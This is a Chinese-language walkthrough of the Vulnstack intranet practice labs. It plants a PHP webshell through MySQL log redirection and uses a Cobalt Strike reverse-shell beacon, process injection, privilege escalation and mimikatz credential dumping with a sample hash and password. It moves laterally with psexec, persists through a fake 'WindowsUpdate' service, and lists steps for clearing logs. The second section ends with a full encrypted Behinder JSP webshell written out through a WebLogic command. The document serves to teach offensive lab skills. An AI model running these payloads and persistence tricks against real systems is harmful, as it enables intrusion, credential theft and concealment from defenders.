Vulnstack内网靶场
Vulnstack1-利用域账号实现权限扩散
环境
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- vulnstack-win7 对应 Windows 7 ,是Web服务器
- vulnstack-Win2K3 Metasploitable 对应 Windows Server 2003 ,是域成员
- vulnstack-winserver08 对应Windows Server 2008,是域控
- kali作为攻击机
将三台机子的登陆密码设置为相同的,以方便后期对于口令复用的攻击过程
在Windows 7的C盘下的phpstudy开启web服务
外围打点
信息收集
首先使用nmap扫一下web服务器开放端口,发现开放80、135、3306端口
网页访问80端口,发现是php探针页面

并且该页面下方还提供了mysql数据库连接测试,由于已经知道该站点使用了phpstudy套件,该套件中mysql对应的root用户默认密码为root,尝试连接之后发现是成功的

由于开启了3306端口,可以尝试直接连接mysql数据库
phpmyadmin日志getshell
对web服务器进行目录扫描,发现phpmyadmin平台,尝试弱口令,root/root成功登录
查看日志功能开启情况及存放位置
1 | show variables like "general_log%"; |
结果如下表
| variable_name | value |
|---|---|
| general_log | OFF |
| general_log_file | C:\phpStudy\MySQL\data\stu1.log |
现在要做的就是开启全局日志功能以及更改日志文件的目录,以方便后续对webshell的写入
开启日志功能:
1 | set global general_log = 'on'; |
更改日志文件目录:
1 | set global general_log_file = "C:\\phpStudy\\WWW\\shell.php" |
为了写入日志的恶意内容能被访问,所以将日志文件位置改为Web服务访问的目录WWW,并且创建一个shell.php的文件来取代日志文件
现在再执行就可以看到配置已经改变
写入恶意代码到shell.php这个日志文件中
1 | select "<?php system($_REQUEST[cmd]);?>"; |
执行完成后就可以进行命令执行了/shell.php?cmd=whoami
CS上线
在Cobalt Strike(CS)中生成反弹shell的payload
1 | Attacks -> Packages -> Payload Generator |
选择PowerShell Command,然后会生成一个payload.txt文件内容开头为powershell -nop -w hidden -encodedcommand,完整复制并在cmd=之后进行访问,就会在CS上线一个来自目标主机的Beacon反弹shell连接

在该条记录中右键选择interact可以与反弹shell终端进行交互
默认是60s进行一次交互,在交互界面输入以下命令将其改为实时交互
1 | sleep 0 |
与反弹shell终端进行命令交互,需要使用以下命令
1 | shell + 命令名称 |
权限提升
根据上述记录可以看到arch的值为x86,也就是获得了一个32位的shell进程,但是使用systeminfo查看得知该服务器为64位系统,所以还需要获取一个64位反弹shell连接
此处做一个说明,为什么一定需要获取一个64位反弹shell连接
- 系统调用与API的兼容性问题,
- 32位进程只能调用32位API,某些关键的、只在64位内核/API中提供的功能无法使用
- 进程注入与迁移的关键障碍
- “位宽”必须匹配:当你尝试将攻击载荷注入到另一个进程时,注入载荷的架构必须与目标进程的架构完全一致。
- 主流服务进程多为64位:在64位服务器上,关键的系统服务(如
lsass.exe、svchost.exe、explorer.exe)、杀软进程、甚至浏览器,绝大多数都是64位的。- 工具链与依赖库的兼容性
- 渗透测试工具多为64位编译:像Mimikatz、PowerSploit模块、各种提权漏洞的EXP,通常都发布为64位版本,以利用完整的系统能力。
- 在32位shell中运行64位工具会崩溃:操作系统会拒绝执行架构不匹配的二进制文件。虽然部分工具提供32位编译版,但其在WoW64环境下运行可能不稳定或功能受限。
查看目标主机本地进程列表
1 | shell tasklist |
- 被注入的目标进程,优先选择非系统进程,防止系统崩溃
发现有everything与phpstudy进程,操作phpstudy可能造成web服务无法访问,所以选择everything进程进行注入
在交互终端输入
1 | inject 1720(everything的进程ID) x64 |
执行 inject 命令向一个 64 位进程(PID 1720)注入 payload
弹出窗口选择一个本地监听器即可,然后就获得了由everything进程派生的64位shell反弹shell,这意味着进程注入成功

然后当前为Administrator用户权限,直接输入getsystem命令将权限提升到SYSTEM权限
横向移动
内网信息收集
查看内网域用户信息
1 | net view |

- PDC(Primary Domain Controller)这一台是域控主机
CS的Beacon反弹shell自带mimikatz,所以直接输入以下命令实现对目标主机本地密码和哈希的读取
1 | logonpasswords |

直接获取到目标主机的明文密码
对mimikatz得到的内容做一个扩展
msv(MSV1_0 认证包)这是 Windows 的主要本地认证模块。这里显示了用户的密码哈希:
- LM Hash:
edea194d76c77d87923b4276177762ae(较旧、较弱,已基本淘汰,此处可能是历史值)- NTLM Hash:
8c535a2d84c3b21059d667639bb89db5
- 这是最重要的攻击凭据,可用于“哈希传递”攻击,直接横向移动到其他服务器,无需破解密码。
- 可用于在本地或远程破解(如用 hashcat),尝试还原出明文密码。
- SHA1: 另一种哈希形式,在 Windows 环境中不如 NTLM 常用。
2.
tspkg(Terminal Services 包)这是用于 远程桌面 (RDP) 认证的组件。
- 关键点:它直接显示了 明文密码:
hongrisec@2022- 这说明服务器可能启用了“将凭据存储在内存中”的策略,或者用户通过RDP登录后未注销。
3.
wdigest这是较旧的身份验证协议,Windows 默认会将其凭据(包括明文密码)保留在内存中。
- 同样显示了 明文密码:
hongrisec@2022- 这是获取明文密码最常见的来源。
4.
kerberos这是用于 域环境(Active Directory) 网络认证的协议。
- 显示了用户的 Principal Name (
Administrator@GOD.ORG) 和同样的 明文密码。- 此凭据可用于请求 Kerberos 票证(如黄金票证),在域内进行横向移动和权限维持。
5.
ssp&credman
- **
ssp(Security Support Provider)**:此处为空,表示没有通过其他安全支持提供程序保存的凭据。- **
credman(Credential Manager)**:此处为空,表示Windows凭据管理器中没有存储的网络或网站凭据。
横向移动
借助已获得的域用户的账户密码,尝试进行口令复用
使用psexec建立IPC通道,上线域控
PsExec 是微软官方 Sysinternals 工具集中的一个强大命令行工具,它允许管理员在远程 Windows 系统上执行程序,并与其进行完整的交互(就像在本地运行一样)
工作原理(简化的技术流程)
- 建立连接:通过 SMB 协议(445端口)连接到目标的
ADMIN$共享(默认的系统管理共享)。- 上传服务:将
PsExec的一个小服务端组件 (PSEXESVC.exe) 复制到目标的C:\Windows目录。- 创建服务:通过 服务控制管理器 在目标系统上创建一个 Windows 服务来运行该程序。
- 执行命令:服务启动,执行你指定的命令,并将输入/输出通过网络管道传回本地。
- 清理:命令执行完毕后,服务被删除(除非使用
-d参数不等待)。
在CS中可以很容易使用psexec,只需要在Targets标签中找到希望连接的目标主机,按照以下流程
1 | Jump -> psexec |
如果目标主机系统为64位,则选择psexec64
在弹出页面中选择我们刚才获得的Administrator域用户的用户名及密码作为控制凭证,同时需要新建一个SMB协议的监听器,并且选择x64对应的session会话作为发起该操作的会话

SMB协议在此处是PsExec实现远程命令执行的“基石”和“运输通道”。它负责完成认证、文件传输和进程间通信三大核心功能。
- 身份认证(Authentication)**
- 当执行
psexec \\目标IP ...时,PsExec首先通过SMB协议向目标的445端口发起连接。- SMB协商和认证:它会使用你提供的用户名/密码(或当前会话凭据)进行SMB认证。如果认证失败,整个过程立即终止。
- 关键点:这就是为什么你需要域管理员/本地管理员凭据才能使用PsExec的原因——SMB协议要求具备访问
ADMIN$管理共享的权限。
- 文件传输(File Transfer - 上传服务组件)**
PsExec的核心机制:它并不是一个纯粹的“远程执行协议”,而是一个通过上传并安装临时服务来实现远程执行的工具。
上传PSEXESVC.exe:
- 认证成功后,PsExec通过SMB协议访问目标的
ADMIN$共享(该共享映射到C:\Windows\目录)。- 将一个小型的服务端可执行文件
PSEXESVC.exe上传到目标的C:\Windows目录。
1
2 # 模拟上传过程(实际由PsExec内部完成)
copy psexesvc.exe \\192.168.1.100\ADMIN$\PSEXESVC.exe
- 服务控制与管理(Service Control - 创建/启动服务)**
- 通过SMB的命名管道(Named Pipe)进行RPC通信:SMB不仅仅是文件共享协议,它还支持进程间通信(IPC)。
- 创建服务:PsExec通过
\pipe\svcctl命名管道,与服务控制管理器通信,创建一个新的Windows服务来运行PSEXESVC.exe。- 服务名称:通常是
PSEXESVC后跟随机字符。
- 输入/输出重定向(I/O Redirection - 交互式会话的关键)**
- 建立通信管道:服务启动后,
PSEXESVC.exe会创建另外的命名管道(如\pipe\psexesvc)。- 重定向标准输入/输出:远程进程的
stdin、stdout、stderr被重定向到这些管道。- 你的本地PsExec客户端通过SMB连接到这些管道,从而实现:
- 你本地输入的字符通过管道发送到远程进程。
- 远程进程的输出通过管道传回你的本地控制台。
执行完成后我们将获得OWA主机的反弹shell连接,且权限为SYSTEM

使用同样的方法上线域成员主机
前提条件就是这些主机使用的密码都是相同的,所以才能进行口令复用
需要注意的是ROOT这台主机是32位架构所以需要使用psexec进行操作

持久化
一旦目标主机关机或重启,那么就会失去对主机的控制,所以需要进行持久化的操作
现在对web服务器进行权限维持
使用CS生成一个权限维持的exe文件,进行以下步骤,打开设置窗口
1 | Attacks -> Packages -> Windows Executable |
选择监听器,并勾选Use x64 payload,点击Generate然后生成一个artifact.exe的文件
借助Explore下的File Browser进行文件上传
将artifact.exe文件传到C:\Users\Administrator\Desktop目录下
在目标主机开启一个名为WindowsUpdate的开机自启动服务,该服务运行时自动执行artifact.exe文件,命令如下
1 | shell sc create "WindowsUpdate" binpath= "cmd /c start "C:\Users\Administrator\Desktop\artifact.exe"" && sc config "WindowsUpdate" start=auto && net start WindowsUpdate |
1 | sc create #创建Windows服务 |
痕迹清理
- webshell删除
- MySQL日志文件路径设置修复
- 删除上传的exe文件
- 清除系统日志
Vulnstack2-攻防中的杀软对抗
环境
靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
- WEB.de1ay.com 对应 Windows Server 2008 ,是Web服务器
- DC.de1ay.com 对应 Windows Server 2012 R2 ,是域控
- PC.de1ay.com 对应Windows 7,是域成员
- kali作为攻击机
在Windows Server 2008的C:\Oracle\Middleware\user_projects\domain\base_domain\bin中依次以管理员身份运行setDomainEnv、startManagedWebLogic、startWebLogic三个脚本,来开启WebLogic
外围打点
在kali中使用nmap扫描Windows Server 2008的开放端口

1 | http://192.168.231.131:7001/_async/.s8Jn4gWlqX2c592.jsp?cmd=echo "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>" > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\bingxie3.jsp |